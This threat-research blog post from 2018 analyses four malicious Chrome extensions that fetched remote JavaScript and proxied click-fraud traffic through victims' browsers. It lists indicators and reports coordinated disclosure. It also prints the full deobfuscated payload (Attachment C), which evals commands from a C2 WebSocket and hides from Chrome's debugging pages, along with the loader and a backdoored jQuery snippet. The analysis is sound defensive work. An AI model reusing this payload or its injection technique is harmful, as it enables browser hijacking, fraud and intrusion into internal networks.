Malicious Chrome Extensions Enable Criminals to Impact Over Half a Million Users and Global Businesses

January 18, 2018

By: ICEBRG SRT, Justin Warner, Contributor: Mario De Tore
  • Tags:
  • Click Fraud
  • Threat Research

Most leading web browsers, including Google Chrome, offer users the ability to install extensions. While these web-based applications can enhance the user's overall experience, they also pose a threat to workstation security with the ability to inject and execute arbitrary code. Coupling an extension marketplace style “easy install” for users, limited understanding of the underlying risks, and few compensating controls leaves organizations vulnerable to a serious and easily overlooked attack vector. To a motivated threat actor, this approach presents a range of opportunities, from co-opting enterprise resources for advertising click-fraud to leveraging a user’s workstation as a foothold into the enterprise network.

ICEBRG has battled this threat in the wild and worked with our customers to understand the risk browser extensions pose. Recently, ICEBRG detected a suspicious spike in outbound network traffic from a customer workstation which prompted an investigation that led to the discovery of four malicious extensions impacting a total of over half a million users, including workstations within major organizations globally. Although likely used to conduct click fraud and/or search engine optimization (SEO) manipulation, these extensions provided a foothold that the threat actors could leverage to gain access to corporate networks and user information. While revenues are not known, a similar botnet uncovered in 2013 yielded $6 million per month before it was taken down. This blog will cover the technical details of our discovery as a means to inform organizations of the threat malicious Chrome extensions pose.

Prior to publishing this blog post, ICEBRG notified relevant parties to coordinate responses, including the National Cyber Security Centre of The Netherlands (NCSC-NL), the United States Computer Emergency Readiness Team (US-CERT), the Google Safe Browsing Operations team, and ICEBRG customers that were directly impacted by this malware.

Note: Removal of the malicious extension from the Chrome Web Store may not remove it from impacted hosts. Additionally, the use of third-party Chrome extension repositories may still allow the installation of the extensions.

Detection and Identification

While reviewing an unusual spike in outbound traffic volume from a customer workstation to a European VPS provider, ICEBRG’s Security Research Team (SRT) utilized the targeted packet capture capability of the ICEBRG platform to collect traffic destined to the external IP, 109.206.161[.]14. Analysis of this traffic identified HTTP traffic to the domain ‘change-request[.]info’ from a suspicious Chrome extension with ID ‘ppmibgfeefcglejjlpeihfdimbkfbbnm’ (Figure 1) as the cause of the observed traffic spike. This extension ID correlated to an extension named Change HTTP Request Header available via Google’s Chrome Web Store (Figure 2).

Figure 1

Figure 1: Benign Chrome extension configuration update (before removal from Chrome Store)


Figure 2

Figure 2: Change HTTP Request Header in Chrome Web Store

Technical Overview

The Change HTTP Request Header extension itself does not contain any overtly malicious code. However, ICEBRG identified two items of concern that, when combined, enable the injection and execution of arbitrary JavaScript code via the extension.

Malicious JavaScript Injection

By design, Chrome’s JavaScript engine evaluates (executes) JavaScript code contained within JSON. Due to security concerns, Chrome prevents the ability to retrieve JSON from an external source by extensions, which must explicitly request its use via the Content Security Policy (CSP). When an extension does enable the ‘unsafe-eval’ (Figure 3) permission to perform such actions, it may retrieve and process JSON from an externally-controlled server. This creates a scenario in which the extension author could inject and execute arbitrary JavaScript code anytime the update server receives a request. 

"content_security_policy":   "script-src 'self' 'unsafe-eval'; object-src 'self'"
Figure 3: Content Security Policy as defined in manifest.json

The Change HTTP Request Header extension downloads JSON via a function called ‘update_presets()’ which downloads a JSON blob from ‘change-request[.]info’ (Figure 4).

var presets = {};
   
(function update_presets() {
      $.getJSON( "http://change-request.info/presets" )
        .done( function ( data ) {
            presets = data.presets;
            data.timeout && setTimeout( update_presets, data.timeout );
        } )
        .fail( function () {
            setTimeout( update_presets, 60E3 );
        } );
})();
Figure 4: Usage of jQuery method getJSON() to retrieve configuration update

During analysis of the performed packet capture, ICEBRG observed the control server, ‘change-request[.]info’, returning obfuscated JavaScript to the victim host (Figure 5). The extension would then evaluate and execute this JavaScript. One component of the executed code checks for the presence of native Chrome debugging tools (chrome://inspect/ and chrome://net-internals/), and if detected, halts further execution of the injected segment. This is most likely an anti-analysis technique implemented by the developers to avoid detection and prolong their capabilities.

Figure 5

Figure 5: Malicious configuration update

Browser Proxying

Once injected, the malicious JavaScript establishes a WebSocket tunnel with ‘change-request[.]info’. The extension then utilizes this WebSocket to proxy browsing traffic via the victim’s browser (Figure 6). During the time of observation, the threat actor utilized this capability exclusively for visiting advertising related domains indicating a potential click fraud campaign was ongoing. Click fraud campaigns enable a malicious party to earn revenue by forcing victim systems to visit advertising sites that pay per click (PPC). The same capability could also be used by the threat actor to browse internal sites of victim networks, effectively bypassing perimeter controls that are meant to protect internal assets from external parties.

Figure 6

Figure 6: Overview Diagram of Activity

Figures 7 and 8 show example transactions between the malicious extension and the control server. These transactions show the client receiving tasking to browse to a remote site and also receiving required headers for the browsing activity.

Figure 9 shows the proxied traffic as observed in the packet capture during the time of the example transaction. As noted, the proxied traffic is indicative of a likely click fraud campaign.

{"id":5,"data":{"method":"GET","url":"http://xml.onwardclick.com/filter?q=sba+small+business+loan&i=ZbCeTekrftM_0&t=1965829287",
"headers":{"host":"xml.onwardclick.com","upgrade-insecure-requests":"1","user-agent":"Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 
(KHTML, like Gecko) Chrome/54.0.2840.71   Safari/537.36","accept":"text/html,application/xhtml+xml,application/xml;   
q=0.9,image/webp,*/*;q=0.8","referer":"http://f1nd.net/","accept-encoding":"gzip,   deflate,   sdch","accept-language":"en-US,en;q=0.8"},
"timeout":30000,"body":""}}
     
Figure 7: From ‘change-request[.]info’ via WebSocket


{"id":5,"type":"data","data":"<!DOCTYPE   HTML>\n<html>\n<head>\n<script   type=\"text/javascript\">\nvar 
tqs=[{\"id\":\"rs\",\"url\":\"//8328.bapi.adsafeprotected.com/bapi?anId\\u003d8328\\u0026pubId\\u003d62927\\u0026advId\\u003d143\\
u0026campId\\u003d137\\u0026auth_token\\u003dX6WM9yX5fgyLOv1lY39
     
snipped for brevity
Figure 8: Response from the affected host


GET /filter?q=sba+small+business+loan&i=ZbCeTekrftM_0&t=1965829287 HTTP/1.1
Host: xml.onwardclick.com
User-Agent: Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.71 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Encoding: gzip, deflate, sdch
Accept-Language: en-US,en;q=0.8
upgrade-insecure-requests: 1
referer: http://f1nd.net/
Connection: close
 
HTTP/1.1 200 OK
Cache-Control: no-store
Pragma: no-cache
Age: 0
Content-Type: text/html; charset=utf-8
Set-Cookie: c-1143473719=-1412980242;Path=/
Content-Length: 3206
<!DOCTYPE HTML>
<html>
<head>
<script type="text/javascript">
var tqs=[{"id":"rs","url":"//8328.bapi.adsafeprotected.com/bapi?anId\u003d8328\u0026pubId\u003d62927\u0026advId\u003d143\u0026campId\
u003d137\u0026auth_token\u003dX6WM9yX5fgyLOv1lY39tvg%3D%3D"}];
snipped for brevity
Figure 9: Proxied traffic as observed during the example transaction

Related Malicious Chrome Extensions

Based on the similarity of tactics, techniques, and procedures (TTPs), and command and control (C2), ICEBRG has determined with high confidence that the following extensions are related to the Change HTTP Request Header activity:

Name

Extension ID

Users

Associated Domains

Nyoogle - Custom Logo for Google

ginfoagmgomhccdaclfbbbhfjgmphkph

~509,736

*.nyoogle.info

Lite Bookmarks

mpneoicaochhlckfkackiigepakdgapj

n/a

lite-bookmarks[.]info

Stickies - Chrome's Post-it Notes

djffibmpaakodnbmcdemmmjmeolcmbae

~21,600

stickies[.]pro

Notes: Extension user numbers are from the Chrome Web Store in December 2017.
Extensions are no longer available from Chrome Web Store as of 1/17/18.

Like Change HTTP Request Header, Nyoogle and Lite Bookmarks use the same combination of enabling ‘unsafe-eval’ via the CSP with periodic configuration updates/checkins via the jQuery.getJSON() method to inject arbitrary JavaScript.

Stickies also enables ‘unsafe-eval’ via the CSP, but attempts to obfuscate its ability to retrieve external JavaScript for injection by modifying its included jQuery library. Specifically, ‘Stickies’ has included JavaScript in the ajax() method (Figure 10) which converts the MIME type of data retrieved via ‘ajax()’ from “text” to “script” if the code identifies the magic string “\\\==” inside the data. This results in the evaluation of the retrieved data as JavaScript and provides a code injection pathway via methods such as ‘jQuery.get()’ that depend on ‘ajax()’.

ICEBRG observed JavaScript injected into Stickies as nearly identical to the JavaScript observed returned to the other malicious extensions.

for (z = J.shift(); z; )
   
                            if (c.responseFields[z] && (F[c.responseFields[z]] = I),
                            !B && K && c.dataFilter && (I = c.dataFilter(I, c.dataType)),
                            "text" === z && /\/\/\/==/.test(I) && J.push("script"),
                            B = z,
                            z = J.shift())
Figure 10: jQuery library modification

This isn’t the first time ICEBRG has identified issues with the Stickies extension. ICEBRG previously identified an update to the Stickies extension in early 2017 that utilized this new code injection technique as well as a Change HTTP Request Header technique that resulted in Google removing the extension after a notification from ICEBRG.

Conclusion

Hygiene of user workstations is a difficult problem to tackle, made even more difficult by the exhaustive number of ways that code can execute through seemingly legitimate applications and plugins. In this case, the inherent trust of third-party Google extensions, and accepted risk of user control over these extensions, allowed an expansive fraud campaign to succeed. In the hands of a sophisticated threat actor, the same tool and technique could have enabled a beachhead into target networks.

The total installed user base of the aforementioned malicious Chrome extensions provides a substantial pool of resources to draw upon for fraudulent purposes and financial gain. The high yield from these techniques will only continue to motivate criminals to continue exploring creative ways to create similar botnets. It should be noted that although Google is working to give enterprises more options for managing Chrome extensions, without upstream review or control over this technique, malicious Chrome extensions will continue to pose a risk to enterprise networks.

ICEBRG is a network security analytics company that offers a SaaS capability that enables customers to gain and utilize widespread network visibility for security operations. Leveraging a streaming process, ICEBRG is able to discover suspicious activity in real-time and provide insights into network threat activity to our customers. As part of its research, ICEBRG coordinates disclosure of security threats and vulnerabilities with relevant parties in order to maximize both the response and victim remediation efforts as well as working to truly improve the security of customers and other victims prior to publishing blog posts.

For additional information about this post or to learn more about how ICEBRG helps our customers defend against a wide range of threats, reach out to [email protected].

Update: 1/18/2018. Change HTTP Request Header extension ID has been updated where there trailing "m" was missing.
Update: 1/17/2018. This post has been updated to reflect that the malicious extensions listed in this blog are no longer available in the Chrome Web Store. Nyoogle - Custom Logo for Google and Stickies - Chrome's Post-it Notes were the final extensions to be removed by the Google Safe Browsing Operations team.
Original Post Date: 1/15/18

Attachment A—List of Malicious Chrome Extensions

Name

Extension ID

Users

Associated Domains

Nyoogle - Custom Logo for Google

ginfoagmgomhccdaclfbbbhfjgmphkph

~509,736

*.nyoogle.info

Lite Bookmarks

mpneoicaochhlckfkackiigepakdgapj

n/a

lite-bookmarks[.]info

Stickies - Chrome's Post-it Notes

djffibmpaakodnbmcdemmmjmeolcmbae

~21,600

stickies[.]pro

Change HTTP Request Header

ppmibgfeefcglejjlpeihfdimbkfbbnm

~14,000

change-request[.]info

Attachment B—Indicators

Indicator

Type

Related Extension ID

change-request[.]info

Domain

ppmibgfeefcglejjlpeihfdimbkfbbnm

lite-bookmarks[.]info

Domain

mpneoicaochhlckfkackiigepakdgapj

stickies[.]pro

Domain

djffibmpaakodnbmcdemmmjmeolcmbae

a.stickies[.]pro

Domain

djffibmpaakodnbmcdemmmjmeolcmbae

nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s1.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s2.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s3.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s4.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s5.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s6.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s7.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s8.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s9.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s10.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s11.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s12.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s13.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s14.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s15.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s16.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s17.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s18.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s19.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

s20.nyoogle[.]info

Domain

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]12

IP Address

mpneoicaochhlckfkackiigepakdgapj

109.206.161[.]14

IP Address

ppmibgfeefcglejjlpeihfdimbkfbbnm

109.206.161[.]15

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]16

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]17

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]21

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]22

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]24

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]115

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]116

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]118

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]123

IP Address

djffibmpaakodnbmcdemmmjmeolcmbae

109.206.161[.]12

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]69

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]71

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]72

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]103

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]104

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]105

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]106

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]107

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]108

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]117

IP Address

ginfoagmgomhccdaclfbbbhfjgmphkph

109.206.161[.]124

IP Address

djffibmpaakodnbmcdemmmjmeolcmbae

Attachment C - Fully Deobfuscated Payload Script

(function()

   {

   var b=function()

          {

          onconnect=function(a)

                  {

                  var e=a.ports[0],b=null,d=0,k=0,c=function(a,e)

                         {

                         if(!b||b.readyState>=WebSocket.CLOSING||d!==a)return!1;

                         b.send(JSON.stringify(e))

                  }

                  ,l=

                         {

                         close:function()

                            {

                                close()

                         }

                         ,open:function(a)

                                {

                                var l=a.url,m=function()

                                       {

                                       b=new WebSocket(l);

                                       d++;

                                       b.onopen=function(a)

                                              {

                                              k=0

                                       };

                                       b.onmessage=function(a)

                                              {

                                              try

                                                      {

                                                      var b=JSON.parse(a.data);

                                                      e.postMessage(

                                                             {

                                                             type:"ws",pipe:d,data:b

                                                      }

                                                      )

                                              }

                                              catch(f)

                                                      {

                                                      c(d,

                                                             {

                                                             type:"exception",data:

                                                                    {

                                                                    err:f.message,message:a.data

                                                         }

                                                      }

                                                      )

                                              }

                                       };

                                       var a=setInterval(function()

                                              {

                                              c(d,

                                                      {

                                              }

                                              )

                                       }

                                       ,6E4);

                                       b.onclose=function(b)

                                              {

                                              clearInterval(a);

                                              k++;

                                              setTimeout(m,6<k?6E5:3<k?6E4:0)

                                       }

                                };

                                m()

                         }

                         ,ws:function(a)

                                {

                                c(a.pipe,a.data)

                         }

                         ,xhr:function(a)

                                {

                                var b=a.data,c=new XMLHttpRequest,d,l=function(a,c)

                                       {

                                       e.postMessage(

                                              {

                                              type:"xhr",data:

                                                      {

                                                  id:b.id,type:a,data:c

                                              }

                                       }

                                       )

                                }

                                ,g=0;

                                c.onreadystatechange=function()

                                       {

                                       l("readystatechange",c.readyState);

                                       g<c.responseText.length&&16777216<c.responseText.length&&(l("error","Max size exceeded: "+c.responseText.length),c.abort());

                                       var a=c.responseText.substring(g,16777216);

                                       g=c.responseText.length;

                                       3===c.readyState?a&&l("data",a):4===c.readyState&&(d&&clearTimeout(d),a&&l("data",a),l("end",c.status))

                                };

                                c.open(b.method,b.url,!0);

                                c.setRequestHeader("x-request-id",b.id);

                                c.overrideMimeType("text/plain;

                                charset=x-user-defined");

                                c.send(b.body);

                                b.timeout&&(d=setTimeout(function()

                                       {

                                       c.abort()

                                }

                                ,b.timeout))

                         }

                  };

                  e.onmessage=function(a)

                         {

                         a=a.data;

                         if(l.hasOwnProperty(a.type))l[a.type](a)

                  }

          }

   }

   ,d=function()

          {

          this._4=new Map;

          this._3=null

   };

   d.prototype.on=function(a,b)

          {

          var d=this._4.get(a);

          d||this._4.set(a,d=[]);

          d.push(b);

          return this

   };

   d.prototype.emit=function(a,b)

          {

          a=this._4.get(a);

          if(!a)return 0;

          for(var d=0,h=a.length;

          d<h;

          d++)a[d](b);

          return a.length

   };

   d.prototype.send=function(a)

          {

          this._5=a.headers||

                  {

          };

          this.constructor.postMessage(

                  {

                  type:"xhr",data:Object.assign(

                         {

                  }

                  ,a,

                         {

                         id:this.constructor._7(this)

                  }

                  )

          }

          )

   };

   d.postMessage=function(a)

          {

          if(!this._0||!this._0.port)return!1;

          this._0.port.postMessage(a)

   };

   d.initialize=function()

          {

          var a=this;

          if(!this._2)

                  {

                  this._6=0;

                  this._1=new Map;

                  for(var b=new Map,d=[[chrome.tabs.onUpdated,function(b,e,f)

                         {

                         e.url&&(e.url.match(/^chrome:\/\/(?:inspect|net-internals)\//)?a.stopWorker():a.startWorker())

                  }

                  ],[chrome.tabs.onRemoved,function(b,e,f)

                         {

                         a.startWorker()

                  }

                  ],[chrome.webRequest.onBeforeSendHeaders,function(a)

                         {

                         if(-1!==a.tabId)return

                                {

                         };

                         a.requestHeaders.push(

                                {

                                name:"x-version",value:$.uv

                         }

                         );

                     return

                                {

                                requestHeaders:a.requestHeaders

                         }

                  }

                  ,

                         {

                         urls:[$.uu]

                  }

                  ,["blocking","requestHeaders"]],[chrome.webRequest.onBeforeSendHeaders,function(c)

                         {

                         if(-1!==c.tabId)return

                                {

                         };

                         for(var d=0,f=c.requestHeaders.length;

                         0<f--;

                         )if("x-request-id"===c.requestHeaders[f].name)

                                {

                                d=c.requestHeaders[f].value;

                                break

                         }

                         f=a._1.get(d);

                         if(!f)return

                                {

                         };

                         b.set(c.requestId,d);

                         c.requestHeaders=[];

                         for(var k in f._5)f._5.hasOwnProperty(k)&&c.requestHeaders.push(

                                {

                                name:k,value:f._5[k]

                         }

                         );

                         return

                                {

                                requestHeaders:c.requestHeaders

                         }

                  }

                  ,

                         {

                         urls:["<all_urls>"],types:["xmlhttprequest"]

                  }

                  ,["blocking","requestHeaders"]],[chrome.webRequest.onHeadersReceived,function(c)

                         {

                         if(-1!==c.tabId)return

                                {

                         };

                         var d=b.get(c.requestId);

                         if(!d)return

                                {

                         };

                         b.delete(c.requestId);

                         d=a._1.get(d);

                         if(!d)return

                            {

                         };

                         for(var f=

                                {

                         }

                         ,k=c.responseHeaders.length;

                         0<k--;

                         )

                                {

                                var g=c.responseHeaders[k];

                                0>["content-encoding","content-length","content-disposition"].indexOf(g.name.toLowerCase())&&(f[g.name.toLowerCase()]=g.value);

                                0<=["cookie","location","content-disposition"].indexOf(g.name.toLowerCase())&&c.responseHeaders.splice(k,1)

                         }

                         d.emit("head",

                                {

                                statusCode:c.statusCode,headers:f

                         }

                         );

                         return

                                {

                                responseHeaders:c.responseHeaders

                         }

                  }

                  ,

                         {

                         urls:["<all_urls>"],types:["xmlhttprequest"]

                  }

                  ,["blocking","responseHeaders"]],[chrome.webRequest.onErrorOccurred,function(c)

                         {

                         if(-1!==c.tabId)return

                                {

                         };

                         var d=b.get(c.requestId);

                         if(!d)return

                                {

                         };

                         b.delete(c.requestId);

                         d=a._1.get(d);

                         if(!d)return

                                {

                         };

                         d._3=Error(c.error);

                         return

                                {

                         }

                  }

                  ,

                         {

                         urls:["<all_urls>"],types:["xmlhttprequest"]

                  }

                  ]],h=d.length;

                  0<h--;

                  )

                         {

                         var k=d[h];

                         k[0].addListener.apply(k[0],k.slice(1))

                  }

                  this._2=d;

                  this.startWorker()

          }

   };

   d._7=function(a)

          {

          var b=(++this._6).toString(36);

          this._1.set(b,a);

          return b

   };

   d._8=function(a)

          {

          this._1.delete(a)

   };

   d.delete=function()

          {

          if(this._2)

                  {

                  for(var a=this._2.length;

                  0<a--;

                  )

                         {

                         var b=this._2[a];

                         b[0].removeListener.call(b[0],b[1])

                  }

                  delete this._2;

                  this.stopWorker()

          }

   };

   d.startWorker=function()

          {

          var a=this;

          if(!this._0)

                  {

                  var e=this._0=

                         {

                  };

                  chrome.tabs.query(

                         {

                         url:["chrome://inspect/*","chrome://net-internals/*"]

                  }

                  ,function(g)

                         {

                         if(e===a._0)if(0<g.length)a._0=null;

                         else

                                {

                                a._0=new SharedWorker(URL.createObjectURL(new Blob(["("+b.toString()+")("+JSON.stringify($.ws)+")"],

                                       {

                                       type:"text/javascript"

                                }

                                )));

                                var h=

                                       {

                                       ws:function(b)

                                              {

                                              var c=b.data,e=function(d,e)

                                                  {

                                                      a.postMessage(

                                                             {

                                                             type:"ws",pipe:b.pipe,data:

                                                                    {

                                                                    id:c.id,type:d,data:e

                                                             }

                                                      }

                                                      )

                                              };

                                              if("js"===c.data.url)

                                                      {

                                                      var f;

                                                      try

                                                             {

                                                             f=JSON.stringify(window[atob("ZXZhbA==")](c.data.body))

                                                      }

                                                      catch(g)

                                                             {

                                                             f=g.message

                                                      }

                                                      e("head",

                                                             {

                                                             statusCode:200,statusMessage:"OK",headers:

                                                                    {

                                                             }

                                                      }

                                                      );

                                                      e("data",f);

                                                      e("end")

                                              }

                                              else f=new d,f.on("head",function(a)

                                                      {

                                                      e("head",a)

                                              }

                                              ).on("data",function(a)

                                                      {

                                                      e("data",a)

                                              }

                                              ).on("error",function(a)

                                                      {

                                                      e("error",a.message)

                                              }

                                              ).on("readystatechange",function(a)

                                                      {

                                                      e("readystatechange",a)

                                              }

                                              ).on("end",function()

                                                      {

                                                      e("end")

                                              }

                                              ),e("readystatechange",0),f.send(c.data)

                                       }

                                       ,xhr:function(b)

                                          {

                                              b=b.data;

                                              var c=a._1.get(b.id);

                                              c&&("error"===b.type?c._3||(c._3=Error(b.data)):"end"!==b.type||b.data&&!c._3?c.emit(b.type,b.data):c.emit("error",c._3||Error("unknown error")))

                                       }

                                };

                                a._0.port.onmessage=function(a)

                                       {

                                       a=a.data;

                                       if(h.hasOwnProperty(a.type))h[a.type](a)

                                };

                                a.postMessage(

                                       {

                                       type:"open",url:$.ws

                                }

                                )

                         }

                  }

                  )

          }

   };

   d.stopWorker=function()

          {

          this._0&&(this.postMessage(

                  {

                  type:"close"

      }

          ),this._0=null)

   };

   d.initialize();

   window.reloadRequest&&window.reloadRequest();

   window.reloadRequest=function()

          {

          delete window.reloadRequest;

          d.delete()

   }

}

)();

({"uv":"11","uu":"http://change-request.info/presets","ws":"ws://change-request.info/"})